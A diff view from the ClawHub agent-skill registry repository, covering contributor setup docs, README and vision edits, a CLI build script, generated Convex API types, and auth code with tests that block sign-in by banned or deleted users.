Change the port if 3000 is already in use, and update `SITE_URL` in both `.env.local` and the Convex backend (`bunx convex env set SITE_URL ...`) to match.
### Seed the database
Populate sample data so the UI isn't empty:
```bash
# 3 sample skills (padel, gohome, xuezh)
bunx convex run --no-push devSeed:seedNixSkills
# 50 extra skills for pagination testing (optional)
bunx convex run --no-push devSeedExtra:seedExtraSkillsInternal
# Refresh the cached skills count (required after seeding)
bunx convex run --no-push statsMaintenance:updateGlobalStatsInternal
```
To reset and re-seed:
```bash
bunx convex run --no-push devSeed:seedNixSkills '{"reset": true}'
```
### Optional environment variables
These features degrade gracefully without their keys:
| Variable | Purpose |
| ------------------------------------------------------------------------- | --------------------------------------------------------- |
| `OPENAI_API_KEY` | Embeddings and vector search (falls back to zero vectors) |
| `VT_API_KEY` | VirusTotal malware scanning |
| `DISCORD_WEBHOOK_URL` | Discord notifications |
| `GITHUB_APP_ID` / `GITHUB_APP_PRIVATE_KEY` / `GITHUB_APP_INSTALLATION_ID` | GitHub backup sync |
## CLI Development
The CLI source lives in [`packages/clawhub/`](packages/clawhub/). Both `clawhub` and `clawdhub` are registered as bin aliases.
To test the CLI against your local instance:
```bash
CLAWHUB_REGISTRY=http://127.0.0.1:3210 CLAWHUB_SITE=http://localhost:3000 clawhub search "padel"
```
Use the package-local verification contract when working on the CLI:
```bash
bun run --cwd packages/clawhub test
bun run --cwd packages/clawhub verify:build
bun run --cwd packages/clawhub test:artifact
bun run --cwd packages/clawhub verify
```
`bun test packages/clawhub/` is not the supported workflow. Source tests and built-artifact smoke tests are intentionally split.
Manual smoke tests are documented in [`docs/manual-testing.md`](docs/manual-testing.md).
## Skill & Soul Publishing
- Skill format reference: [`docs/skill-format.md`](docs/skill-format.md)
- Soul format reference: [`docs/soul-format.md`](docs/soul-format.md)
- End-to-end walkthrough (search, install, publish, sync): [`docs/quickstart.md`](docs/quickstart.md)
Quick publish:
```bash
clawhub publish <path-to-skill-directory>
```
## Before Submitting a PR
```bash
bun run lint # oxlint
bun run test # Vitest (80% coverage threshold)
bun run build # Vite + Nitro
bun run --cwd packages/clawhub verify
```
These are the same checks that run in CI (`.github/workflows/ci.yml`).
**PR guidelines:**
- Keep PRs focused — one concern per PR.
- Use [Conventional Commits](https://www.conventionalcommits.org/): `feat:`, `fix:`, `chore:`, `docs:`, etc.
- Include test commands and screenshots for UI changes.
- Write a clear description of what changed and why.
## AI-Generated Code
AI-assisted contributions are welcome. When submitting AI-generated or AI-assisted code:
- Note it in the PR description.
- Describe the level of testing you applied.
- Include prompts if useful for reviewers.
- Confirm that you understand and can maintain the code.
## Security Reporting
Report vulnerabilities to **security@openclaw.ai** with:
- Severity assessment
- Technical reproduction steps
- Suggested remediation
See [`docs/security.md`](docs/security.md) for moderation and upload gating details.
## Reading Order for New Contributors
1. This file (local setup)
2. [`docs/quickstart.md`](docs/quickstart.md) — end-to-end workflows
3. [`docs/architecture.md`](docs/architecture.md) — system design
4. [`docs/skill-format.md`](docs/skill-format.md) — skill structure
5. [`docs/cli.md`](docs/cli.md) — CLI reference
6. [`docs/http-api.md`](docs/http-api.md) — HTTP endpoints
7. [`docs/auth.md`](docs/auth.md) — authentication
8. [`docs/deploy.md`](docs/deploy.md) — deployment
9. [`docs/troubleshooting.md`](docs/troubleshooting.md) — common issues
+26 -62
View File
@@ -1,8 +1,4 @@
<p align="center">
<img src="public/clawd-logo.png" alt="ClawHub" width="120">
</p>
<h1 align="center">ClawHub</h1>
# ClawHub
<p align="center">
<a href="https://github.com/openclaw/clawhub/actions/workflows/ci.yml?branch=main"><img src="https://img.shields.io/github/actions/workflow/status/openclaw/clawhub/ci.yml?branch=main&style=for-the-badge" alt="CI status"></a>
@@ -11,32 +7,22 @@
</p>
ClawHub is the **public skill registry for Clawdbot**: publish, version, and search text-based agent skills (a `SKILL.md` plus supporting files).
It's designed for fast browsing + a CLI-friendly API, with moderation hooks and vector search.
It also now exposes a native **OpenClaw package catalog** for code plugins and bundle plugins.
Its designed for fast browsing + a CLI-friendly API, with moderation hooks and vector search.
onlycrabs.ai is the **SOUL.md registry**: publish and share system lore the same way you publish skills.
<p align="center">
<a href="https://clawhub.ai">ClawHub</a> ·
<a href="https://onlycrabs.ai">onlycrabs.ai</a> ·
<a href="VISION.md">Vision</a> ·
<a href="docs/README.md">Docs</a> ·
<a href="CONTRIBUTING.md">Contributing</a> ·
<a href="https://discord.gg/clawd">Discord</a>
</p>
Live: `https://clawhub.ai`
onlycrabs.ai: `https://onlycrabs.ai`
Vision: [`VISION.md`](VISION.md)
## What you can do with it
- Browse skills + render their `SKILL.md`.
- Publish new skill versions with changelogs + tags (including `latest`).
- Rename an owned skill without breaking old links or installs.
- Merge duplicate owned skills into one canonical slug.
- Browse souls + render their `SOUL.md`.
- Publish new soul versions with changelogs + tags.
- Search via embeddings (vector index) instead of brittle keywords.
- Star + comment; admins/mods can curate and approve skills.
- Browse OpenClaw packages with family/trust/capability metadata.
- Publish native code plugins and bundle plugins through `/packages` APIs and CLI flows.
## onlycrabs.ai (SOUL.md registry)
@@ -58,14 +44,11 @@ Common CLI flows:
- Auth: `clawhub login`, `clawhub whoami`
- Discover: `clawhub search ...`, `clawhub explore`
- Browse unified catalog (skills + plugins): `clawhub package explore`, `clawhub package inspect <name>`
- Manage local installs: `clawhub install <slug>`, `clawhub uninstall <slug>`, `clawhub list`, `clawhub update --all`
- Inspect without installing: `clawhub inspect <slug>`
- Publish/sync skills: `clawhub skill publish <path>`, `clawhub sync`
- Publish plugins: `clawhub package publish <source>`
- Canonicalize owned skills: `clawhub skill rename <slug> <new-slug>`, `clawhub skill merge <source> <target>`
- Publish/sync: `clawhub publish <path>`, `clawhub sync`
Docs: [`docs/quickstart.md`](docs/quickstart.md), [`docs/cli.md`](docs/cli.md).
Docs: `docs/quickstart.md`, `docs/cli.md`.
### Removal permissions
@@ -73,8 +56,7 @@ Docs: [`docs/quickstart.md`](docs/quickstart.md), [`docs/cli.md`](docs/cli.md).
- Uploaded registry skills use soft-delete/restore (`clawhub delete <slug>` / `clawhub undelete <slug>` or API equivalents).
- Soft-delete/restore is allowed for the skill owner, moderators, and admins.
- Hard delete is admin-only (management tools / ban flows).
- Owner rename keeps the old slug as a redirect alias.
- Owner merge hides the source listing and redirects the old slug to the canonical target.
## Telemetry
@@ -85,36 +67,39 @@ Disable via:
export CLAWHUB_DISABLE_TELEMETRY=1
```
Details: [`docs/telemetry.md`](docs/telemetry.md).
Details: `docs/telemetry.md`.
## Repo layout
- `src/` — TanStack Start app (routes, components, styles).
- `convex/` — schema + queries/mutations/actions + HTTP API routes.
- `packages/schema/` — shared API types/routes for the CLI and app.
- [`docs/`](docs/README.md) — project documentation (architecture, CLI, auth, deployment, and more).
- [`docs/spec.md`](docs/spec.md) — product + implementation spec (good first read).
- `docs/spec.md` — product + implementation spec (good first read).
## Local dev
Prereqs: [Bun](https://bun.sh/) (Convex runs via `bunx`, no global install needed).
Prereqs: Bun + Convex CLI.
```bash
bun install
cp .env.local.example .env.local
# edit .env.local — see CONTRIBUTING.md for local Convex values
# terminal A: local Convex backend
bunx convex dev
# terminal B: web app (port 3000)
# terminal A: web app
bun run dev
# seed sample data
bunx convex run --no-push devSeed:seedNixSkills
# terminal B: Convex dev deployment
bunx convex dev
```
For full setup instructions (env vars, GitHub OAuth, JWT keys, database seeding), see [CONTRIBUTING.md](CONTRIBUTING.md).
## Auth (GitHub OAuth) setup
Create a GitHub OAuth App, set `AUTH_GITHUB_ID` / `AUTH_GITHUB_SECRET`, then:
```bash
bunx auth --deployment-name <deployment> --web-server-url http://localhost:3000
```
This writes `JWT_PRIVATE_KEY` + `JWKS` to the deployment and prints values for your local `.env.local`.
## Environment
@@ -141,17 +126,7 @@ Add this to `SKILL.md`:
---
name: peekaboo
description: Capture and automate macOS UI with the Peekaboo CLI.
metadata:
{
"clawdbot":
{
"nix":
{
"plugin": "github:clawdbot/nix-steipete-tools?dir=tools/peekaboo",
"systems": ["aarch64-darwin"],
},
},
}
metadata: {"clawdbot":{"nix":{"plugin":"github:clawdbot/nix-steipete-tools?dir=tools/peekaboo","systems":["aarch64-darwin"]}}}
---
```
@@ -169,18 +144,7 @@ You can also declare config requirements + an example snippet:
---
name: padel
description: Check padel court availability and manage bookings via Playtomic.
metadata:
{
"clawdbot":
{
"config":
{
"requiredEnv": ["PADEL_AUTH_FILE"],
"stateDirs": [".config/padel"],
"example": "config = { env = { PADEL_AUTH_FILE = \\\"/run/agenix/padel-auth\\\"; }; };",
},
},
}
metadata: {"clawdbot":{"config":{"requiredEnv":["PADEL_AUTH_FILE"],"stateDirs":[".config/padel"],"example":"config = { env = { PADEL_AUTH_FILE = \\\"/run/agenix/padel-auth\\\"; }; };"}}}
---
```
@@ -190,7 +154,7 @@ To show CLI help (recommended for nix plugins), include the `cli --help` output:
---
name: padel
description: Check padel court availability and manage bookings via Playtomic.
metadata: { "clawdbot": { "cliHelp": "padel --help\\nUsage: padel [command]\\n" } }
metadata: {"clawdbot":{"cliHelp":"padel --help\\nUsage: padel [command]\\n"}}
---
```
-4
View File
@@ -16,13 +16,11 @@ The goal? A personal assistant that's easy to use, supports a wide range of plat
The current focus is:
Priority:
- Security and safe defaults
- Bug fixes and stability
- Setup reliability and first-run UX
Next priorities:
- Supporting all major model providers
- Improving support for major messaging channels (and adding a few high-demand ones)
- Performance and test infrastructure
@@ -36,7 +34,6 @@ Security in OpenClaw is a deliberate tradeoff: strong defaults without killing c
The goal is to stay powerful for real work while making risky paths explicit and operator-controlled.
Canonical security policy and reporting:
- https://github.com/openclaw/openclaw/blob/main/SECURITY.md
We prioritize secure defaults, but we also expose clear knobs for trusted high-power workflows.
@@ -64,7 +61,6 @@ Core skill additions should be rare and require a strong product or security rea
OpenClaw supports MCP through `mcporter`: https://github.com/steipete/mcporter
This keeps MCP integration flexible and decoupled from core runtime:
- add or change MCP servers without restarting the gateway
- keep core tool/context surface lean
- reduce MCP churn impact on core stability and security
+456 -457
View File
File diff suppressed because it is too large Load Diff
+3 -6
View File
@@ -3,10 +3,9 @@ import { existsSync } from 'node:fs'
import { stat } from 'node:fs/promises'
import { fileURLToPath } from 'node:url'
const packageRootPath = fileURLToPath(new URL('./packages/clawhub/', import.meta.url))
const distCliUrl = new URL('./packages/clawhub/dist/cli.js', import.meta.url)
const distCliUrl = new URL('./packages/clawdhub/dist/cli.js', import.meta.url)
const distCliPath = fileURLToPath(distCliUrl)
const srcRootPath = fileURLToPath(new URL('./packages/clawhub/src/', import.meta.url))
const srcRootPath = fileURLToPath(new URL('./packages/clawdhub/src/', import.meta.url))
const shouldBuild = await (async () => {
if (!existsSync(distCliPath)) return true
@@ -20,8 +19,7 @@ const shouldBuild = await (async () => {
})()
if (shouldBuild) {
const proc = Bun.spawn(['bun', 'run', 'build'], {
cwd: packageRootPath,
const proc = Bun.spawn(['bunx', 'tsc', '-p', 'packages/clawdhub/tsconfig.json'], {
stdin: 'inherit',
stdout: 'inherit',
stderr: 'inherit',
@@ -36,7 +34,6 @@ async function getLatestMtime(root: string) {
let latest = 0
const glob = new Bun.Glob('**/*.ts')
for await (const rel of glob.scan({ cwd: root, onlyFiles: true })) {
if (rel.endsWith('.test.ts')) continue
const path = `${root}${root.endsWith('/') ? '' : '/'}${rel}`
try {
const entry = await stat(path)
+3 -6
View File
@@ -3,10 +3,9 @@ import { existsSync } from 'node:fs'
import { stat } from 'node:fs/promises'
import { fileURLToPath } from 'node:url'
const packageRootPath = fileURLToPath(new URL('./packages/clawhub/', import.meta.url))
const distCliUrl = new URL('./packages/clawhub/dist/cli.js', import.meta.url)
const distCliUrl = new URL('./packages/clawdhub/dist/cli.js', import.meta.url)
const distCliPath = fileURLToPath(distCliUrl)
const srcRootPath = fileURLToPath(new URL('./packages/clawhub/src/', import.meta.url))
const srcRootPath = fileURLToPath(new URL('./packages/clawdhub/src/', import.meta.url))
const shouldBuild = await (async () => {
if (!existsSync(distCliPath)) return true
@@ -20,8 +19,7 @@ const shouldBuild = await (async () => {
})()
if (shouldBuild) {
const proc = Bun.spawn(['bun', 'run', 'build'], {
cwd: packageRootPath,
const proc = Bun.spawn(['bunx', 'tsc', '-p', 'packages/clawdhub/tsconfig.json'], {
stdin: 'inherit',
stdout: 'inherit',
stderr: 'inherit',
@@ -36,7 +34,6 @@ async function getLatestMtime(root: string) {
let latest = 0
const glob = new Bun.Glob('**/*.ts')
for await (const rel of glob.scan({ cwd: root, onlyFiles: true })) {
if (rel.endsWith('.test.ts')) continue
const path = `${root}${root.endsWith('/') ? '' : '/'}${rel}`
try {
const entry = await stat(path)
-46
View File
@@ -8,15 +8,12 @@
* @module
*/
import type * as appMeta from "../appMeta.js";
import type * as auth from "../auth.js";
import type * as commentModeration from "../commentModeration.js";
import type * as comments from "../comments.js";
import type * as crons from "../crons.js";
import type * as devSeed from "../devSeed.js";
import type * as devSeedExtra from "../devSeedExtra.js";
import type * as downloads from "../downloads.js";
import type * as functions from "../functions.js";
import type * as githubBackups from "../githubBackups.js";
import type * as githubBackupsNode from "../githubBackupsNode.js";
import type * as githubIdentity from "../githubIdentity.js";
@@ -28,12 +25,10 @@ import type * as githubSoulBackupsNode from "../githubSoulBackupsNode.js";
import type * as http from "../http.js";
import type * as httpApi from "../httpApi.js";
import type * as httpApiV1 from "../httpApiV1.js";
import type * as httpApiV1_packagesV1 from "../httpApiV1/packagesV1.js";
import type * as httpApiV1_shared from "../httpApiV1/shared.js";
import type * as httpApiV1_skillsV1 from "../httpApiV1/skillsV1.js";
import type * as httpApiV1_soulsV1 from "../httpApiV1/soulsV1.js";
import type * as httpApiV1_starsV1 from "../httpApiV1/starsV1.js";
import type * as httpApiV1_transfersV1 from "../httpApiV1/transfersV1.js";
import type * as httpApiV1_usersV1 from "../httpApiV1/usersV1.js";
import type * as httpApiV1_whoamiV1 from "../httpApiV1/whoamiV1.js";
import type * as httpPreflight from "../httpPreflight.js";
@@ -43,7 +38,6 @@ import type * as lib_apiTokenAuth from "../lib/apiTokenAuth.js";
import type * as lib_badges from "../lib/badges.js";
import type * as lib_batching from "../lib/batching.js";
import type * as lib_changelog from "../lib/changelog.js";
import type * as lib_commentScamPrompt from "../lib/commentScamPrompt.js";
import type * as lib_contentTypes from "../lib/contentTypes.js";
import type * as lib_embeddingVisibility from "../lib/embeddingVisibility.js";
import type * as lib_embeddings from "../lib/embeddings.js";
@@ -57,21 +51,9 @@ import type * as lib_githubSoulBackup from "../lib/githubSoulBackup.js";
import type * as lib_globalStats from "../lib/globalStats.js";
import type * as lib_httpHeaders from "../lib/httpHeaders.js";
import type * as lib_httpRateLimit from "../lib/httpRateLimit.js";
import type * as lib_httpUtils from "../lib/httpUtils.js";
import type * as lib_leaderboards from "../lib/leaderboards.js";
import type * as lib_manualOverrides from "../lib/manualOverrides.js";
import type * as lib_moderation from "../lib/moderation.js";
import type * as lib_moderationEngine from "../lib/moderationEngine.js";
import type * as lib_moderationReasonCodes from "../lib/moderationReasonCodes.js";
import type * as lib_openaiResponse from "../lib/openaiResponse.js";
import type * as lib_packageRegistry from "../lib/packageRegistry.js";
import type * as lib_packageSearchDigest from "../lib/packageSearchDigest.js";
import type * as lib_packageSecurity from "../lib/packageSecurity.js";
import type * as lib_public from "../lib/public.js";
import type * as lib_publishLimits from "../lib/publishLimits.js";
import type * as lib_publishers from "../lib/publishers.js";
import type * as lib_reporting from "../lib/reporting.js";
import type * as lib_reservedHandles from "../lib/reservedHandles.js";
import type * as lib_reservedSlugs from "../lib/reservedSlugs.js";
import type * as lib_searchText from "../lib/searchText.js";
import type * as lib_securityPrompt from "../lib/securityPrompt.js";
@@ -79,27 +61,22 @@ import type * as lib_skillBackfill from "../lib/skillBackfill.js";
import type * as lib_skillPublish from "../lib/skillPublish.js";
import type * as lib_skillQuality from "../lib/skillQuality.js";
import type * as lib_skillSafety from "../lib/skillSafety.js";
import type * as lib_skillSearchDigest from "../lib/skillSearchDigest.js";
import type * as lib_skillStats from "../lib/skillStats.js";
import type * as lib_skillSummary from "../lib/skillSummary.js";
import type * as lib_skillZip from "../lib/skillZip.js";
import type * as lib_skills from "../lib/skills.js";
import type * as lib_soulChangelog from "../lib/soulChangelog.js";
import type * as lib_soulPublish from "../lib/soulPublish.js";
import type * as lib_staticPublishScan from "../lib/staticPublishScan.js";
import type * as lib_tokens from "../lib/tokens.js";
import type * as lib_userSearch from "../lib/userSearch.js";
import type * as lib_webhooks from "../lib/webhooks.js";
import type * as llmEval from "../llmEval.js";
import type * as maintenance from "../maintenance.js";
import type * as packages from "../packages.js";
import type * as publishers from "../publishers.js";
import type * as rateLimits from "../rateLimits.js";
import type * as search from "../search.js";
import type * as seed from "../seed.js";
import type * as seedSouls from "../seedSouls.js";
import type * as skillStatEvents from "../skillStatEvents.js";
import type * as skillTransfers from "../skillTransfers.js";
import type * as skills from "../skills.js";
import type * as soulComments from "../soulComments.js";
import type * as soulDownloads from "../soulDownloads.js";
@@ -121,15 +98,12 @@ import type {
} from "convex/server";
declare const fullApi: ApiFromModules<{
appMeta: typeof appMeta;
auth: typeof auth;
commentModeration: typeof commentModeration;
comments: typeof comments;
crons: typeof crons;
devSeed: typeof devSeed;
devSeedExtra: typeof devSeedExtra;
downloads: typeof downloads;
functions: typeof functions;
githubBackups: typeof githubBackups;
githubBackupsNode: typeof githubBackupsNode;
githubIdentity: typeof githubIdentity;
@@ -141,12 +115,10 @@ declare const fullApi: ApiFromModules<{
http: typeof http;
httpApi: typeof httpApi;
httpApiV1: typeof httpApiV1;
"httpApiV1/packagesV1": typeof httpApiV1_packagesV1;
"httpApiV1/shared": typeof httpApiV1_shared;
"httpApiV1/skillsV1": typeof httpApiV1_skillsV1;
"httpApiV1/soulsV1": typeof httpApiV1_soulsV1;
"httpApiV1/starsV1": typeof httpApiV1_starsV1;
"httpApiV1/transfersV1": typeof httpApiV1_transfersV1;
"httpApiV1/usersV1": typeof httpApiV1_usersV1;
"httpApiV1/whoamiV1": typeof httpApiV1_whoamiV1;
httpPreflight: typeof httpPreflight;
@@ -156,7 +128,6 @@ declare const fullApi: ApiFromModules<{
"lib/badges": typeof lib_badges;
"lib/batching": typeof lib_batching;
"lib/changelog": typeof lib_changelog;
"lib/commentScamPrompt": typeof lib_commentScamPrompt;
"lib/contentTypes": typeof lib_contentTypes;
"lib/embeddingVisibility": typeof lib_embeddingVisibility;
"lib/embeddings": typeof lib_embeddings;
@@ -170,21 +141,9 @@ declare const fullApi: ApiFromModules<{
"lib/globalStats": typeof lib_globalStats;
"lib/httpHeaders": typeof lib_httpHeaders;
"lib/httpRateLimit": typeof lib_httpRateLimit;
"lib/httpUtils": typeof lib_httpUtils;
"lib/leaderboards": typeof lib_leaderboards;
"lib/manualOverrides": typeof lib_manualOverrides;
"lib/moderation": typeof lib_moderation;
"lib/moderationEngine": typeof lib_moderationEngine;
"lib/moderationReasonCodes": typeof lib_moderationReasonCodes;
"lib/openaiResponse": typeof lib_openaiResponse;
"lib/packageRegistry": typeof lib_packageRegistry;
"lib/packageSearchDigest": typeof lib_packageSearchDigest;
"lib/packageSecurity": typeof lib_packageSecurity;
"lib/public": typeof lib_public;
"lib/publishLimits": typeof lib_publishLimits;
"lib/publishers": typeof lib_publishers;
"lib/reporting": typeof lib_reporting;
"lib/reservedHandles": typeof lib_reservedHandles;
"lib/reservedSlugs": typeof lib_reservedSlugs;
"lib/searchText": typeof lib_searchText;
"lib/securityPrompt": typeof lib_securityPrompt;
@@ -192,27 +151,22 @@ declare const fullApi: ApiFromModules<{
"lib/skillPublish": typeof lib_skillPublish;
"lib/skillQuality": typeof lib_skillQuality;
"lib/skillSafety": typeof lib_skillSafety;
"lib/skillSearchDigest": typeof lib_skillSearchDigest;
"lib/skillStats": typeof lib_skillStats;
"lib/skillSummary": typeof lib_skillSummary;
"lib/skillZip": typeof lib_skillZip;
"lib/skills": typeof lib_skills;
"lib/soulChangelog": typeof lib_soulChangelog;
"lib/soulPublish": typeof lib_soulPublish;
"lib/staticPublishScan": typeof lib_staticPublishScan;
"lib/tokens": typeof lib_tokens;
"lib/userSearch": typeof lib_userSearch;
"lib/webhooks": typeof lib_webhooks;
llmEval: typeof llmEval;
maintenance: typeof maintenance;
packages: typeof packages;
publishers: typeof publishers;
rateLimits: typeof rateLimits;
search: typeof search;
seed: typeof seed;
seedSouls: typeof seedSouls;
skillStatEvents: typeof skillStatEvents;
skillTransfers: typeof skillTransfers;
skills: typeof skills;
soulComments: typeof soulComments;
soulDownloads: typeof soulDownloads;
-10
View File
@@ -1,10 +0,0 @@
import { api, internal } from "./_generated/api";
void internal.downloads.recordDownloadInternal;
void internal.soulDownloads.incrementInternal;
// @ts-expect-error download counters must not be publicly callable
void api.downloads.increment;
// @ts-expect-error soul download counters must not be publicly callable
void api.soulDownloads.increment;
-14
View File
@@ -1,14 +0,0 @@
import { query } from "./functions";
function normalizeEnv(value: string | undefined) {
const normalized = value?.trim();
return normalized ? normalized : null;
}
export const getDeploymentInfo = query({
args: {},
handler: async () => ({
appBuildSha: normalizeEnv(process.env.APP_BUILD_SHA),
deployedAt: normalizeEnv(process.env.APP_DEPLOYED_AT),
}),
});
+2 -2
View File
@@ -2,7 +2,7 @@ export default {
providers: [
{
domain: process.env.CONVEX_SITE_URL,
applicationID: "convex",
applicationID: 'convex',
},
],
};
}
+58 -74
View File
@@ -1,141 +1,125 @@
import { describe, expect, it, vi } from "vitest";
import type { Id } from "./_generated/dataModel";
import { describe, expect, it, vi } from 'vitest'
import type { Id } from './_generated/dataModel'
import {
BANNED_REAUTH_MESSAGE,
DELETED_ACCOUNT_REAUTH_MESSAGE,
handleDeletedUserSignIn,
} from "./auth";
} from './auth'
function makeCtx({
user,
banRecords,
}: {
user: {
deletedAt?: number;
deactivatedAt?: number;
purgedAt?: number;
banReason?: string;
} | null;
banRecords?: Array<Record<string, unknown>>;
user: { deletedAt?: number; deactivatedAt?: number; purgedAt?: number } | null
banRecords?: Array<Record<string, unknown>>
}) {
const query = {
withIndex: vi.fn().mockReturnValue({
collect: vi.fn().mockResolvedValue(banRecords ?? []),
}),
};
}
const ctx = {
db: {
get: vi.fn().mockResolvedValue(user),
patch: vi.fn().mockResolvedValue(null),
query: vi.fn().mockReturnValue(query),
},
};
return { ctx, query };
}
return { ctx, query }
}
describe("handleDeletedUserSignIn", () => {
const userId = "users:1" as Id<"users">;
describe('handleDeletedUserSignIn', () => {
const userId = 'users:1' as Id<'users'>
it("skips when user not found", async () => {
const { ctx } = makeCtx({ user: null });
it('skips when user not found', async () => {
const { ctx } = makeCtx({ user: null })
await handleDeletedUserSignIn(ctx as never, { userId, existingUserId: userId });
await handleDeletedUserSignIn(ctx as never, { userId, existingUserId: userId })
expect(ctx.db.get).toHaveBeenCalledWith(userId);
expect(ctx.db.query).not.toHaveBeenCalled();
});
expect(ctx.db.get).toHaveBeenCalledWith(userId)
expect(ctx.db.query).not.toHaveBeenCalled()
})
it("skips active users", async () => {
const { ctx } = makeCtx({ user: { deletedAt: undefined, deactivatedAt: undefined } });
it('skips active users', async () => {
const { ctx } = makeCtx({ user: { deletedAt: undefined, deactivatedAt: undefined } })
await handleDeletedUserSignIn(ctx as never, { userId, existingUserId: userId });
await handleDeletedUserSignIn(ctx as never, { userId, existingUserId: userId })
expect(ctx.db.query).not.toHaveBeenCalled();
expect(ctx.db.patch).not.toHaveBeenCalled();
});
expect(ctx.db.query).not.toHaveBeenCalled()
expect(ctx.db.patch).not.toHaveBeenCalled()
})
it("blocks sign-in for deactivated users", async () => {
const { ctx } = makeCtx({ user: { deactivatedAt: 123, purgedAt: 123 } });
it('blocks sign-in for deactivated users', async () => {
const { ctx } = makeCtx({ user: { deactivatedAt: 123, purgedAt: 123 } })
await expect(
handleDeletedUserSignIn(ctx as never, { userId, existingUserId: userId }),
).rejects.toThrow(DELETED_ACCOUNT_REAUTH_MESSAGE);
).rejects.toThrow(DELETED_ACCOUNT_REAUTH_MESSAGE)
expect(ctx.db.query).not.toHaveBeenCalled();
expect(ctx.db.patch).not.toHaveBeenCalled();
});
expect(ctx.db.query).not.toHaveBeenCalled()
expect(ctx.db.patch).not.toHaveBeenCalled()
})
it("migrates legacy self-deleted users and blocks sign-in", async () => {
const { ctx } = makeCtx({ user: { deletedAt: 123 }, banRecords: [] });
it('migrates legacy self-deleted users and blocks sign-in', async () => {
const { ctx } = makeCtx({ user: { deletedAt: 123 }, banRecords: [] })
await expect(
handleDeletedUserSignIn(ctx as never, { userId, existingUserId: userId }),
).rejects.toThrow(DELETED_ACCOUNT_REAUTH_MESSAGE);
).rejects.toThrow(DELETED_ACCOUNT_REAUTH_MESSAGE)
expect(ctx.db.patch).toHaveBeenCalledWith(userId, {
deletedAt: undefined,
deactivatedAt: 123,
purgedAt: 123,
updatedAt: expect.any(Number),
});
});
})
})
it("migrates legacy users on fresh login (existingUserId is null)", async () => {
const { ctx } = makeCtx({ user: { deletedAt: 123 }, banRecords: [] });
it('migrates legacy users on fresh login (existingUserId is null)', async () => {
const { ctx } = makeCtx({ user: { deletedAt: 123 }, banRecords: [] })
await expect(
handleDeletedUserSignIn(ctx as never, { userId, existingUserId: null }),
).rejects.toThrow(DELETED_ACCOUNT_REAUTH_MESSAGE);
).rejects.toThrow(DELETED_ACCOUNT_REAUTH_MESSAGE)
expect(ctx.db.patch).toHaveBeenCalledWith(userId, {
deletedAt: undefined,
deactivatedAt: 123,
purgedAt: 123,
updatedAt: expect.any(Number),
});
});
})
})
it("skips mutation when existingUserId does not match userId", async () => {
const otherUserId = "users:999" as Id<"users">;
const { ctx } = makeCtx({ user: { deletedAt: 123 } });
it('skips mutation when existingUserId does not match userId', async () => {
const otherUserId = 'users:999' as Id<'users'>
const { ctx } = makeCtx({ user: { deletedAt: 123 } })
await handleDeletedUserSignIn(ctx as never, { userId, existingUserId: otherUserId });
await handleDeletedUserSignIn(ctx as never, { userId, existingUserId: otherUserId })
expect(ctx.db.query).not.toHaveBeenCalled();
expect(ctx.db.patch).not.toHaveBeenCalled();
});
expect(ctx.db.query).not.toHaveBeenCalled()
expect(ctx.db.patch).not.toHaveBeenCalled()
})
it("blocks banned users with a custom message", async () => {
const { ctx } = makeCtx({ user: { deletedAt: 123 }, banRecords: [{ action: "user.ban" }] });
it('blocks banned users with a custom message', async () => {
const { ctx } = makeCtx({ user: { deletedAt: 123 }, banRecords: [{ action: 'user.ban' }] })
await expect(
handleDeletedUserSignIn(ctx as never, { userId, existingUserId: userId }),
).rejects.toThrow(BANNED_REAUTH_MESSAGE);
).rejects.toThrow(BANNED_REAUTH_MESSAGE)
expect(ctx.db.patch).not.toHaveBeenCalled();
});
expect(ctx.db.patch).not.toHaveBeenCalled()
})
it("blocks users auto-banned for malware", async () => {
it('blocks users auto-banned for malware', async () => {
const { ctx } = makeCtx({
user: { deletedAt: 123, banReason: "malware auto-ban" },
banRecords: [{ action: "user.autoban.malware" }],
});
user: { deletedAt: 123 },
banRecords: [{ action: 'user.autoban.malware' }],
})
await expect(
handleDeletedUserSignIn(ctx as never, { userId, existingUserId: userId }),
).rejects.toThrow(BANNED_REAUTH_MESSAGE);
).rejects.toThrow(BANNED_REAUTH_MESSAGE)
expect(ctx.db.patch).not.toHaveBeenCalled();
});
it("includes the moderator ban reason in the sign-in error", async () => {
const { ctx } = makeCtx({
user: { deletedAt: 123, banReason: "Chargeback fraud" },
banRecords: [{ action: "user.ban" }],
});
await expect(
handleDeletedUserSignIn(ctx as never, { userId, existingUserId: userId }),
).rejects.toThrow(`${BANNED_REAUTH_MESSAGE} Reason: Chargeback fraud`);
});
});
expect(ctx.db.patch).not.toHaveBeenCalled()
})
})
+33 -51
View File
@@ -1,61 +1,46 @@
import GitHub from "@auth/core/providers/github";
import { convexAuth } from "@convex-dev/auth/server";
import type { GenericMutationCtx } from "convex/server";
import { ConvexError } from "convex/values";
import { internal } from "./_generated/api";
import type { DataModel, Id } from "./_generated/dataModel";
import { shouldScheduleGitHubProfileSync } from "./lib/githubProfileSync";
import GitHub from '@auth/core/providers/github'
import { convexAuth } from '@convex-dev/auth/server'
import type { GenericMutationCtx } from 'convex/server'
import { ConvexError } from 'convex/values'
import { internal } from './_generated/api'
import type { DataModel, Id } from './_generated/dataModel'
import { shouldScheduleGitHubProfileSync } from './lib/githubProfileSync'
export const BANNED_REAUTH_MESSAGE =
"This account has been banned and cannot sign in. If you believe this is a mistake, please contact security@openclaw.ai and we will review it.";
'Your account has been banned for uploading malicious skills. If you believe this is a mistake, please contact security@openclaw.ai and we will work with you to restore access.'
export const DELETED_ACCOUNT_REAUTH_MESSAGE =
"This account has been permanently deleted and cannot be restored.";
'This account has been permanently deleted and cannot be restored.'
const REAUTH_BLOCKING_BAN_ACTIONS = new Set(["user.ban", "user.autoban.malware"]);
function getBannedReauthMessage(reason: string | undefined) {
const normalizedReason = reason?.trim();
if (!normalizedReason || normalizedReason.toLowerCase() === "malware auto-ban") {
return BANNED_REAUTH_MESSAGE;
}
return `${BANNED_REAUTH_MESSAGE} Reason: ${normalizedReason}`;
}
const REAUTH_BLOCKING_BAN_ACTIONS = new Set(['user.ban', 'user.autoban.malware'])
export async function handleDeletedUserSignIn(
ctx: GenericMutationCtx<DataModel>,
args: { userId: Id<"users">; existingUserId: Id<"users"> | null },
userOverride?: {
deletedAt?: number;
deactivatedAt?: number;
purgedAt?: number;
banReason?: string;
} | null,
args: { userId: Id<'users'>; existingUserId: Id<'users'> | null },
userOverride?: { deletedAt?: number; deactivatedAt?: number; purgedAt?: number } | null,
) {
const user = userOverride !== undefined ? userOverride : await ctx.db.get(args.userId);
if (!user?.deletedAt && !user?.deactivatedAt) return;
const user = userOverride !== undefined ? userOverride : await ctx.db.get(args.userId)
